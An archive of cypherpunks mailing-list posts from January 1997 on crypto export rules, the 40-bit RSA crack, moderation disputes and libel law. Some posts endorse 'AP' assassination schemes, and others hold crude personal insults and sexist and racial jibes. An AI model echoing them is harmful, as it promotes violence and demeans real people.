	Also, back to the question of registration numbers. A registration number
is just a string of letters and numbers, and is essentially the same as a
friendly letter; it contains no cryptographic code. For all anyone knows, I
could just be charging for pseudo-random numbers, again, nothing of
cryptographic significance. Is it illegal for me to mail someone outside of
the US or Canada a registration code? Thanks for any help.


Mark Rosen
FireSoft - http://www.geocities.com/SiliconValley/Pines/2690
Mark Eats AOL - http://www.geocities.com/TimesSquare/6660




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Tue, 28 Jan 1997 19:55:05 -0800 (PST)
To: azur@netcom.com (Steve Schear)
Subject: Re: Fighting the cybercensor
In-Reply-To: <v02140b00af14797a523a@[10.0.2.15]>
Message-ID: <199701290350.VAA02021@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Steve Schear wrote:
> 
> >jim bell wrote:
> >>
> >> At 10:21 PM 1/26/97 -0800, blanc wrote:
> >> >From:        jim bell (in response to Dimitri Vulis')
> >> >Look, I've proposed what I consider to be a remarkably consistent method to
> >> >prevent the kind of political tyranny that you criticize, and I don't see
> >> >any recognition of this fact.
> >> >........................................................
> >> >
> >> >1) Jim, why do you insist on discussing this on an forum for encryption?
> >>
> >> Because it's on-topic, that's why.  Because it's not merely a list
> >> concerning METHODS of encryption, it's also about the _reasons_ for using
> >> encryption, as well as the _effects_ (both small-scale and large-scale) of
> >> using encryption.
> >
> >Actually AP is one of the more interesting topics here. I think that there
> >is a clear need for an AP bot.
> >
> >Do you feel like writing it?
> >
> >        - Igor.
> 
> Jim's all talk, I on the other hand am serious.  Did you receive my Monday
> e-mail?
> 

yes, and found it interesting.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 28 Jan 1997 21:54:51 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Trolling with Dale (a bite)
In-Reply-To: <199701281448.GAA02231@mailmasher.com>
Message-ID: <32EEE5F6.5C@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Huge Cajones Remailer wrote:
> From: Dale Thorn <dthorn@gte.net>
> Subject: Re: overview.htm (fwd)
> Dale Thorn hopelessly wrote:
> >Let's be realistic about how AIDS is acquired.

> Yes, Dale, let's. Dale makes an excellent case for having a moderated
> list right here. What do his nutball beyond-the-fringe remarks have
> to do with crypto, privacy, security? Cripes, in the old days even an
> _accurate_ off-list remark would open a blast furnace of condemnation,
> a la Jim B. If the list won't moderate itself to "guide" the Dale's,
> it DESERVES to be moderated.  He's gotta be trolling to keep it hard.

Well, I don't know who you are, so (despite your remarks) I can't
really tell what your question is.  I suppose if we sat down with a
human moderator and a copy of Applied Cryptography, you'd know the
XOR's and S-boxes and whatnot better than I.  That's why we need
people like you on this list, especially the moderated list, since
you know the conventional (academic) crypto really well.  To be
honest, I'm after more important things, but hey, keep plugging away
and maybe I'll learn something from you.  Hugs and stuff....





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike McNally <m5@vail.tivoli.com>
Date: Tue, 28 Jan 1997 20:13:00 -0800 (PST)
To: Somebody <nowhere@erewhon.org>
Subject: Re: Sovreign Right of Lawful Access
In-Reply-To: <199701282156.NAA03998@toad.com>
Message-ID: <32EECE0E.3BA1@vail.tivoli.com>
MIME-Version: 1.0
Content-Type: text/plain


Somebody wrote:
> 
> This morning at the RSA keynote, David Aaron, the US Crypto 
> ambassador quoted the "Sovreign Right of Lawful Access" as
> something that goverments were determined to preserve.

Speaking as a private indiwidual, and not as a drone in the employ
of IBM (don't get me started on the "but wait, key recovery *isn't*
the same as key escrow" hoo-ha), that dude scared the piss out of
me.

As an IBM employee worried about commercial this-n-that, he was
merely depressing.

^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^
Mike McNally -- Egregiously Pointy -- Tivoli Systems, "IBM" -- Austin
mailto:m5@tivoli.com    mailto:m101@io.com    http://www.io.com/~m101
^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: drose@azstarnet.com
Date: Tue, 28 Jan 1997 21:13:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Best Computer School?
Message-ID: <199701290513.WAA08719@web.azstarnet.com>
MIME-Version: 1.0
Content-Type: text/plain


Rick Osborne wrote:

>Lucky you.  It had been a dream of mine since I was an annoying
>overachiever of 6.  Sux to be white trash, I guess.

Wrong! White-americans play a very important and useful role in the new
multi-cultural society. Sheesh! _Someone's_ got to work, support their
families, pay taxes, and obey the law. Hee hee! Him so stoopit!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 28 Jan 1997 22:24:07 -0800 (PST)
To: "Mullen, Patrick" <MullenP@ndhm06.ndhm.gtegsc.com>
Subject: Re: [noise] RE: Shave the Whales
In-Reply-To: <c=US%a=_%p=GTE%l=NDHM06-970128140810Z-80293@ndhm06.ndhm.gtegsc.com>
Message-ID: <32EEEB6C.4D7C@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Mullen, Patrick wrote:
> Is there a way we can keep the caricatures w/out getting the rest of the
> message
> w/ these postings?  I like the ASCII art, but...

I've just started clipping and saving the characters w/o the text
that accompanies them.  I've got a dozen so far, so check back in
a week or so and I'll forward a set to anyone who wants.  Unless,
of course, someone has a bucket of them now.

BTW, some of the recent ones are pretty amazing: a bat, a scorpion,
a cow, etc.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 28 Jan 1997 22:37:16 -0800 (PST)
To: stewarts@ix.netcom.com
Subject: Re: Last nail for US crypto export policy?
In-Reply-To: <3.0.1.32.19970128190443.00625320@popd.ix.netcom.com>
Message-ID: <32EEEE17.7238@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


> >January 28, 1997 - Ian Goldberg, a UC Berkeley graduate student,
> >announced today that he had successfully cracked RSA Data Security
> >Inc.'s 40-bit challenge cipher in just under 3.5 hours.

  I just ran out of asswipe.
  Does anyone have any RSA Data Security, Inc. stock they'd like to
sell?

Toto





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 28 Jan 1997 22:31:48 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: can Sun Tzu be a cypherpunks?
In-Reply-To: <199701282258.OAA28486@miron.vip.best.com>
Message-ID: <32EEEEA4.440E@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


nobody@nowhere.com wrote:
> Quotations from the Art Of War by Sun Tzu
> A Military operation involves deception. Even though you are competent,
> appear to be incompetent. Though effective, appear to be ineffective.
> Draw them in with the prospect of gain, take them  by confusion.
> Use humility to make them haughty. Tire them by flight. Cause division
> among them. Attack when they are  unprepared, make your move when they
> do not expect it.

The all-time master was Rudolph Wanderone (sp?), a.k.a.
Minnesota Fats.  There was an article on him that told how he
cleaned the pool champ in Atlantic City circa 1960.

In later years, he played Mosconi on TV several times, and had
quite a few people convinced he wasn't a very good player, at
least "not as good as" Mosconi.  The movie Color Of Money shows
what this meant, and just how unprepared the public is to believe
that someone like Fats could really be the best.  Kinda like
Tom Wolfe and the pirates thing.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Tue, 28 Jan 1997 22:40:50 -0800 (PST)
To: Richard Fiero <rfiero@pophost.com>
Subject: Re: Rejection policy of the Cypherpunks mailing list
In-Reply-To: <3.0.1.32.19970128213609.006dc248@pop.pophost.com>
Message-ID: <Pine.SUN.3.91.970128222115.6827U-100000@crl7.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Tue, 28 Jan 1997, Richard Fiero wrote:

> Get it straight Sandy Sandfort. I'm not in your home. I am in
> my home and I will observe my priorities, not your's.

Silly things happen when one responds literally to an obvious 
metaphor.  (see, "analogy.")

> ...In part I refer to a
> Sandy Sandfort reply to a criticism made by Paul Bradley. The reply was
> made public two hours before the criticism was.

Nonsense.  Richard may have read my response on the Unedited list
and Paul post on the Moderated list, but I sent my response to
each list in the appropriate order, Paul's post, followed by my 
response.  In any event, how would intentionally reversing the 
order have benefited me?  This specious argument makes no sense.  

> In the reply, Sandy Sandfort employs the name-calling "sophist"
> and "hypocrite."

Nope, wrong again.  I referenced sophistry and hypocracy.  I 
leave the significance of the difference as an exercise to the
student.  (Hint: one is an argument to the man, the other isn't.)

> Also in the reply is the Freudian slip or obscene proposition:
> > . . . . . . . . . . . . . . . . . . . .  "Force," my ass. 
> Shouldn't this have gone to cypherpunks-flames?

And wrong yet again.  Not a personal attack but commentary on 
wooly thinking.
 
> One might wonder just what the rules of proper decorum are.

One might read my posts on this point and pay attention.


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 28 Jan 1997 22:44:16 -0800 (PST)
To: OKSAS <oksas@asimov.montclair.edu>
Subject: Re: overview.htm (fwd)
In-Reply-To: <Pine.SOL.3.93.970128102231.28014B-100000@pegasus.montclair.edu>
Message-ID: <32EEF0AC.BF1@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


OKSAS wrote:
> On Mon, 27 Jan 1997, Dale Thorn wrote:
> > Nurdane Oksas wrote:

> > > > > > > California is know for very beautiful girls ...

> > > Well, can you say you've been 'anywhere else'?

> > Atlanta has some nice babes, warm weather.
> > Charleston. Much smaller than Atlanta. Very cozy.
> > Southern Germany. Very, very nice.  Loved Berchtesgaden (sp?).
> > What about you?

> I am not into girls...sorry.

Too bad.  They're cleaner, more polite, less aggressive, make far
better love than men.  If only they were interested in real computing
(other than as a job or school work).





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: sameer <sameer@c2.net>
Date: Tue, 28 Jan 1997 22:25:22 -0800 (PST)
To: stewarts@ix.netcom.com
Subject: Re: Last nail for US crypto export policy?
In-Reply-To: <199701290610.WAA20623@toad.com>
Message-ID: <199701290640.WAA26004@gabber.c2.net>
MIME-Version: 1.0
Content-Type: text/plain


http://now.cs.berkeley.edu/

> Yee-hah!  Congratulations (and enjoy the $1000 check!)
> So what did you do interesting cryptographically in the crack, 
> other than coordinating a bunch of workstations?
> Was it just brute force with well-tuned code?
> Given the figures in your press release, it sounds like you
> tested about 350 billion keys out of a trillion possible,
> so you hit the winner a shade early.  That's about 400,000 keys/sec/box.
> Are the machines mostly Pentiums, Alphas, Suns, etc.?



-- 
Sameer Parekh					Voice:   510-986-8770
President					FAX:     510-986-8777
C2Net
http://www.c2.net/				sameer@c2.net




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Tue, 28 Jan 1997 20:42:15 -0800 (PST)
To: cypherpunks@toad.com
Subject: Libel & the 1st Amendment
Message-ID: <199701290442.WAA07196@einstein>
MIME-Version: 1.0
Content-Type: text



Hi,

It has been asserted by at least one member that the 1st Amendment protects
libelous or other defamatory speech. 

This is hokem. The 1st most certainly does not protect lies in any form. It
protects opinion, this is distinctly different then stating a untruth about
some party or distribution of material with the attributation to them
without their permission.

No civilized society can exist that permits lies and other defamations of
character and expect to survive for any length of time. Simply for no other
reason than contracts and other such instruments would not be worth the
paper they were printed on. Let alone any laws or other issuances from the
government itself.


				ARTICLE I. 
 
	Congress shall make no law respecting an establishment of religion, 
or prohibiting the free exercise thereof; or abridging the freedom of 
speech, or of the press; or the right of the people peaceably to assemble, 
and to petition the Government for a redress of grievances. 
 
 
Where in there do you see a right to lie, cheat, or steal? If it did, it
would be a lie because it would not protect the very freedom it says it is.


                                                  Jim Choate
                                                  CyberTects
                                                  ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Tobin Fricke" <tobin@mail.edm.net>
Date: Tue, 28 Jan 1997 22:59:22 -0800 (PST)
To: "Phil Karn" <cypherpunks@toad.com>
Subject: Re: Machine readable form (was:RE: [DES] DES Key Recovery Project, Progress Report #7)
Message-ID: <199701290612.WAA04048@ns2.snni.com>
MIME-Version: 1.0
Content-Type: text/plain


> This seems clear enough. If it's printed on paper, it's kosher for
> export. But if we're really overt about it, we may goad the government
> into attempting to control printed source code as well. That could
> prove most interesting.

Hmmm.. Printing out, say,  PGP as a book where each page is a 2 dimensional
bar code would be rather interesting.  Then again, OCR works pretty well
for normal text.

            A printed book or other printed material setting forth
encryption
	source code is not itself subject to the EAR (see
	Sec. 734.3(b)(2)). However, notwithstanding Sec. 734.3(b)(2),
	encryption source code in electronic form or media (e.g., computer
	diskette or CD ROM) remains subject to the EAR (see
	Sec. 734.3(b)(3)). 

Does a barcode fall under "electronic form or media" or is it "printed
material"?  What about punched cards? (-:

Tobin Fricke





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 28 Jan 1997 22:49:00 -0800 (PST)
To: OKSAS <oksas@asimov.montclair.edu>
Subject: Re: Fighting the cybercensor
In-Reply-To: <Pine.SOL.3.93.970129001058.16757C-100000@pegasus.montclair.edu>
Message-ID: <32EEF298.2130@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


OKSAS wrote:
> On Tue, 28 Jan 1997, blanc wrote:
> > From: jim bell

> > I was thinking the reason that most people don't think of applying AP is
> > because they're normal.   It is not the first thought of a normal person to
> > kill another human, just because they've been offended - even severely.  It
> > takes an extraordinary circumstance to motivate one to such destruction,
> > especially if there are a thousand armed troops supporting the object of
> > the attempt.

>         Any normal person has potential to kill,
>         why they don't...?  They have other thoughts
>         and dreams for a better future.

Some people in society are like a bad dream (ok, ok).  Anyway, they
are a lot harder to get rid of than just waking up and going back to
sleep.  But AP offers the first practical solution to this problem.
Get rid of the bad dreams, have good dreams.  What could be better?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 28 Jan 1997 20:54:12 -0800 (PST)
To: m5@vail.tivoli.com
Subject: M.M. / Re: Sovreign Right of Lawful Access
In-Reply-To: <199701282156.NAA03998@toad.com>
Message-ID: <32EEF3F6.1F03@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Mike McNally wrote:
> Somebody wrote:
> > This morning at the RSA keynote, David Aaron, the US Crypto
> > ambassador quoted the "Sovreign Right of Lawful Access" as
> > something that goverments were determined to preserve.
> 
> Speaking as a private indiwidual, and not as a drone in the employ
> of IBM (don't get me started on the "but wait, key recovery *isn't*
> the same as key escrow" hoo-ha), that dude scared the piss out of
> me.

  That plinking sound you hear is the sound of NSA's bloodhounds
stamping the phrase, in reverse, on the bottom of their jackboots.
  "Sovreign Right" has that certain ring to it which suggests 
the rhetoric of Dictators who imagine themselves to be Kings.
   "Lawful Access" has that "Of course, we will only use this
'right' against drug dealers.", kind of feel to it.

  Perhaps the student who popped RSA's test balloon could propose 
the "Universal Right to Casual Access."

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Tue, 28 Jan 1997 21:10:49 -0800 (PST)
To: cypherpunks@toad.com (Cypherpunks)
Subject: Re: Libel & the 1st Amendment
In-Reply-To: <199701290442.WAA07196@einstein>
Message-ID: <199701290507.XAA02510@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


[Cc to Dr. John Martin Grubor, Law Systems Institute]

Jim Choate wrote:
> 
> It has been asserted by at least one member that the 1st Amendment protects
> libelous or other defamatory speech. 

[I would appreciate if people with better knowledge of law correct me]

I doubt that anyone made this assertion. What Greg Broiles and Dr.
Grubor asserted was that because of the first amendment, the government
can not initiate an action in a libel case. Which means that libel is
not a crime. There may be some old statutes that declare libel a crime, 
as Greg noted, but they are not enforceable because of the first amendment.

Suits can be brought by private individuals though.

The government, even if it is defamed, cannot sue a private person 
for libel. For example, I can say that Congress regularly molests
small children, and they will not be able to do anything about me.

> This is hokem. The 1st most certainly does not protect lies in any form. It
                                       ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
> protects opinion, this is distinctly different then stating a untruth about
> some party or distribution of material with the attributation to them
> without their permission.

Not exactly. 

I can lie as much as I want about the government. No one would be
able to prosecute me. These particular lies are protected, contrary
to what you state.

The law does not protect ALL opinions, as well.

> No civilized society can exist that permits lies and other defamations of
> character and expect to survive for any length of time. Simply for no other
> reason than contracts and other such instruments would not be worth the
> paper they were printed on. Let alone any laws or other issuances from the
> government itself.

You are mixing in totally unrelated things, Jim. Enforcement of contracts
has nothing to do with freedom of speech. For example, if you borrow $100
from me and fail to return your debt in time, this is an issue of contract
law and not of free speech.

Contract law is not about speech, it is about promises.

> 				ARTICLE I. 
>  
> 	Congress shall make no law respecting an establishment of religion, 
> or prohibiting the free exercise thereof; or abridging the freedom of 
> speech, or of the press; or the right of the people peaceably to assemble, 
> and to petition the Government for a redress of grievances. 
>  
>  
> Where in there do you see a right to lie, cheat, or steal? If it did, it
> would be a lie because it would not protect the very freedom it says it is.

Do you think that all rights should be found in the first amendment?
What does the right to steal have to do with what we are talking about?

I suggest reading "The Fourth Estate and the Constitution: Freedom
of the Press in America", by Lucas a Powe, Jr.

As for stealing and cheating in contracts, read any textbook on business
law for business students. It is very useful to read this stuff, by the
way.

Not that these books give one a complete picture on law, but they
are very informative.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 28 Jan 1997 23:22:08 -0800 (PST)
To: Theodor.SCHLICKMANN@BXL.DG13.cec.be
Subject: Re: How to subscribe
In-Reply-To: <WIN2359-970128123549-7163*/G=Theodor/S=SCHLICKMANN/OU=BXL/O=DG13/PRMD=CEC/ADMD=RTT/C=BE/@MHS>
Message-ID: <32EEFA4D.BAC@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Theodor.SCHLICKMANN@BXL.DG13.cec.be wrote:
> I have learned from the discussions in this list that there are other lists related to this one. Can anybody send me information on what is available and when this confusion  created by having different lists will stop.

> cypherpunks : unmoderated and uncensored
> cypherpunks : unmoderated and censored
> cypherpunks : moderated   and uncensored
> cypherpunks : moderated   and censored

Theodor - where did you get the info on the 4 lists above?

> cypherpunks : US eyes only -- export restrictions
> cypherpunks : Europe
> cypherpunks : private mail

> Theodor W. Schlickmann





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Tue, 28 Jan 1997 23:26:02 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: overview.htm (fwd)
In-Reply-To: <8P181D93w165w@bwalk.dm.com>
Message-ID: <Pine.SUN.3.91.970128232152.28952G-100000@crl5.crl.com>
MIME-Version: 1.0
Content-Type: text/plain




On Mon, 27 Jan 1997, Dr.Dimitri Vulis KOTM wrote:

> Nurdane Oksas <oksas@asimov.montclair.edu> writes:
> 
> > On Mon, 27 Jan 1997, Dale Thorn wrote:
> >
> > > Nurdane Oksas wrote:
> > > > On Sun, 26 Jan 1997, Dale Thorn wrote:
> > > > > Nurdane Oksas wrote:
> > > > > > On Sun, 26 Jan 1997, Igor Chudov @ home wrote:
> > > > > > > Nurdane Oksas wrote:
> > > > > > > >     i think it's good also to exercise outdoors as well as your
> > > > > > > >     indoor nordictrack machines..sun and air is esp. necessary;
> > >
> > > > > > > but remember, tanning will kill ya.
> > >
> > > > > >         Yes it will; Not a fan of tanning myself...it also causes lot
> > > > > >         of skin problems, have seen women age too soon tanning;
> > > > > >         we don't go outside naked here in NorthEast...do remember;
> > >
> > > > > The real babes in So. Cal. go to tanning salons. That way the evenly-
> > > > > distributed tan looks best with, say, a pure white bikini.  You can
> > > > > go to the beach, of course, and hang out with the hoi polloi, but
> > > > > it's mostly kids with pimples and stuff.
> > >
> > > >         i don't see why she would wear a bikini if she already is tan.
> > > >         She just goes to show off right???  California is know for
> > > >         very beautiful girls ...     I like the pale look :)
> > >
> > > There are two really major beaches in the L.A. area that I know of.
> > > One is Bolsa Chica, several miles long, north of Huntington Beach,
> > > which attracts most of the young'uns south of L.A., and Zuma in the
> > > northmost points of Malibu, which gets a lot of Valley people
> > > (fer sure).  To quote the L.A. Weekly of a few years ago, in a
> > > "Best of L.A." review, "Why do all those hot young girls go to Zuma?
> > > Because that's where all the hot young boys are."
> >
> > 	I see.
> >
> > > But the real babes don't go there.  They get skates and nifty little
> > > costumes and zip up and down the boardwalks in Santa Monica and
> > > Pacific Palisades mostly, in case some hot producer/director should
> > > happen along.
> >
> > 	I see.
> > 	
> 
> Why is a mere "I see" classified as cypherpunks-flames???
> Stop picking on girls, Sandy.
> 
> ---
> 
> Dr.Dimitri Vulis KOTM
> Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
> 

It wasn't and I wasn't.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 28 Jan 1997 23:36:43 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: overview.htm (fwd)
In-Reply-To: <8P181D93w165w@bwalk.dm.com>
Message-ID: <32EEFDDF.3ABC@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:
> Nurdane Oksas <oksas@asimov.montclair.edu> writes:
> > On Mon, 27 Jan 1997, Dale Thorn wrote:
> > > Nurdane Oksas wrote:
> > > > On Sun, 26 Jan 1997, Dale Thorn wrote:
> > > But the real babes don't go there.  They get skates and nifty little
> > > costumes and zip up and down the boardwalks in Santa Monica and
> > > Pacific Palisades mostly, in case some hot producer/director should
> > > happen along.

> >       I see.

> Why is a mere "I see" classified as cypherpunks-flames???
> Stop picking on girls, Sandy.

You are now at level 2, Starfighter.  You must defend the Federation
against the Kodan(sp?) Armada. (There are an infinite number of levels,
BTW).





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Tue, 28 Jan 1997 23:46:15 -0800 (PST)
To: cypherpunks@toad.com
Subject: Meet-in-the-middle attack
Message-ID: <199701290745.XAA19388@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


The main difference between Tim Maya and shit 
is that shit smells better.

            __[I]__
              o-o'
       __oOo__(-)_oOo__ Tim Maya
               V





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 28 Jan 1997 23:49:19 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: overview.htm (fwd)
In-Reply-To: <199701290653.AAA04799@manifold.algebra.com>
Message-ID: <32EF00D3.5A71@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> Dale Thorn wrote:
> > Too bad.  They're cleaner, more polite, less aggressive, make far
> > better love than men.  If only they were interested in real computing
> > (other than as a job or school work).

> Most of women are not worthy.
> I know one who is truly interested in computing.

How many eyes, ears, and noses does she have?  Is she particularly
nervous around microwave ovens?  Does she wear strange, mismatched
clothing?  Any strange eating habits, such as French fries with a
spoon?  No sense of humor, or laughs at times when nobody else does?
Takes off a lot of days sick?  Takes a lot of notes?  Uses any common
items in a bizarre way, such as nail-painting with Wite-out?  Asks
a lot of questions that any normal person would know?  Secretive
about her personal life?  Does she ever talk to herself, as in
practicing speech?  -just curious.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Tue, 28 Jan 1997 21:32:22 -0800 (PST)
To: paul@fatmans.demon.co.uk
Subject: Re: Rejection policy of the Cypherpunks mailing list
In-Reply-To: <199701282106.NAA01621@toad.com>
Message-ID: <199701290550.XAA02789@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


Paul said:
> The list has been disentigrating for some time since the disgusting 
> incident when Dimitri was forcibly unsubscribed from the list. There 

    Bullshit. This list was disentigrating well before that, and Vulis's 
actions were a part of that disentigration.

> > a while."
> 
> So, there would be no intellectual dishonesty in a country claiming 
> to be a free and open society "trying out" fascism for a month or 
> two? - After all it`s a private country just as this is a private 
> list....

    As long as they let people leave at any point in the experiment, 
comment on the experiment, and start their own country if they don't like it. 

> There is a clear trend easily observable on the list whereby certain 
> members postings are censored when their content is of a standard 
> that, if the moderation were objective and based on content alone, 
> would warrant their being sent to the censored list.

     Really? Point to this "trend". I only know of 2 articles, and 
Sandy explained his (IMNTBHO incorrect) reasoning behind that.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Tue, 28 Jan 1997 21:34:47 -0800 (PST)
To: hallam@ai.mit.edu (Phillip M. Hallam-Baker)
Subject: Re: Fighting the cybercensor. (fwd)
In-Reply-To: <199701282212.OAA04686@toad.com>
Message-ID: <199701290552.XAA02798@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


Phill said:
> That was not all. We had a political Web site established
> during the '92 election. I was in contact with Clinton's people
> when we had fewer than 100 Web sites.
> 
> I am a cyber-revolutionary and the world has bought into
> the chaos of our revolution. I never intended the Web to be a tool
> for confirming the present social order which is manifestly 
> corrupt.

     Which of course is why you were in contact with Billy's boys right?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Tue, 28 Jan 1997 22:00:01 -0800 (PST)
To: Rick Osborne <osborne@gateway.grumman.com>
Subject: Re: Best Computer School?
In-Reply-To: <199701290256.SAA14915@toad.com>
Message-ID: <v03007801af1488392f31@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain


MIT probably has a need-blind admissions policy; they don't care whether or
not you have money. When they admit you, at least.

Let me plug Carnegie Mellon University, which consistently ties with MIT
and one of them California schools for first place in computer science.
It's not quite as hard to get into as MIT, though you do have to deal with
Pittsburgh winters. The town itself is small enough to be friendly, and big
enough to be interesting. Jim Morris, the head of the computer science
department, was my instructor for a data structures class and truly seemed
to care about his students' well-being.

Oh, and I remember we had t-shirts saying: "MIT -- the CMU of Massachusetts."

-Declan


Rick wrote:

>At 12:32 PM 1/28/97 -0500, Derek Atkins wrote:
>>This is really exagerating.  You do not need a 4.0, 1600, etc. to be
>>admitted to MIT.  Sure, you need good grades, but a 3.6 average and
>>1350-1400 SAT scores is perfectly adequate to be admitted to MIT.
>
>I disagree and can speak from experience.  I was denied admission to MIT
>even thought I had a 3.82 GPA, 1440 SAT (one try), and had taken 9 AP tests
>with two 5's, four 4's, two 3's, and one 2.  As for being well-rounded, I
>was on several academic teams, sang in Chorus, acted and stage managed in
>Drama, and played Tennis.
>
>The only thing I didn't have that the next MIT applicant had was money.  I
>made the mistake of letting them know that I was dirt poor and would need
>full aid/grants/etc, and to quote "The Great Escape" it was "Zzzt! To the
>Russian front!"
>
>>For what it's worth, I wanted to go to MIT my sophomore year in high
>>school, too
>
>Lucky you.  It had been a dream of mine since I was an annoying
>overachiever of 6.  Sux to be white trash, I guess.
>
>MIT may be a great school, but they tend to be snooty assholes for the most
>part.  (DISCLAIMER: Not all MIT grads/attendees are necessarily "snooty
>assholes", I'm just saying that I've yet to meet one that wasn't.)
>_________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________
>"He who knows, does not speak.
>He who speaks, does not know."



-------------------------
Washington Correspondent
The Netly News Network
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Tue, 28 Jan 1997 21:46:12 -0800 (PST)
To: hallam@ai.mit.edu (Phillip M. Hallam-Baker)
Subject: Re: Fighting the cybercensor. (fwd)
In-Reply-To: <199701282214.OAA04788@toad.com>
Message-ID: <199701290603.AAA02837@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


Phill wrote:
> I'm a philosophical anarchist and I don't consider the state to have
> "rights" over its "subjects", nor do I believe in the pure ideology of
> property you do.
> 
> Its worth noting that the origin of property is theft. In the case of the

    BULLSHIT. BULL FUCKING SHIT. The origin of property is labor. Claiming
that _my_ property is the result of ME stealing, and hence what I OWN belongs
to the community IS theft. I work, and as the result of that work something is
created. That something is MINE to do with as I will. If I choose to sell that
work for money, that money is mine. If I trade that money for shoes, those 
shoes are mine. THere is no theft involved.

> controllers of China literally so since they stole most of their "property"
> from the previous rulers.

     They "won" it in combat. The people of china obviously prefered new 
government to the old one, or they would have prevented the takeover. 

> I believe that the relationship between a state and individual is
> a much more complex one than the slavish subjection model
> you propose. In this I am in agreement with practically every
> philosopher since Locke.

     Practically every philosopher since Locke has recieved their education
at a Government or "Elite" sponsored school, and made their livings the same 
way. I'm not claiming conspiracy here, but those that feed at the trough 
aren't going to insult it overmuch.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Wed, 29 Jan 1997 00:14:03 -0800 (PST)
